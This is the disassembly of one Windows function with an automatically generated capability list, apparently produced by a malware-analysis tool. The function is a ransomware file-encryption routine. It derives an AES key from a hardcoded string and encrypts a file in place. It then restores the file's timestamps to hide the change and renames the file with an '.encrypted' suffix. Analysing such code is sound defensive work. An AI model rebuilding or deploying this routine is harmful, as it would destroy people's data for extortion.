Function at 0x401080
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Move file
Read file on windows
Timestomp file
Write file on windows

Disassembly:
sub esp, 0x30
push ebx
push ebp
mov ebp, dword [esp + 0x3c]
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0xc0000000
xor ebx, ebx
push ebp
mov dword [esp + 0x40], ebx
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4012aa
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x40]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push 0xf0000000
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
push edi
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
cmp eax, 1
jne 0x4012a3
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x14]
push ecx
push edi
push edi
push 0x800c
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
cmp eax, 1
jne 0x401297
push edi
push 0x405480
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
mov eax, dword [esp + 0x1c]
push 0x405480
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
cmp eax, 1
jne 0x401288
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push 5
push edx
push 0x6610
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
cmp eax, 1
jne 0x401288
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [esp + 0x18]
push edi
lea ecx, [esp + 0x14]
push ecx
push edi
push edi
push 1
push edi
push edx
mov dword [esp + 0x2c], eax
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [esp + 0x10]
push 4
push 0x3000
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call edi
mov edx, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x24]
push ecx
push edx
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
jne 0x401269
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
push ecx
push ebx
push 0
push 1
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
cmp eax, 1
jne 0x401269
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x24]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x401269
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x40]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 4
push 0x1000
push 0x400
push 0
call edi
push ebp
mov edi, eax
push str._s.encrypted
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebp
mov dword [esp + 0x24], 1
call fcn.00401000
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ebx, dword [esp + 0x24]
xor edi, edi
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov dword [esp + 0x14], edi
mov ecx, dword [esp + 0x1c]
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x30
ret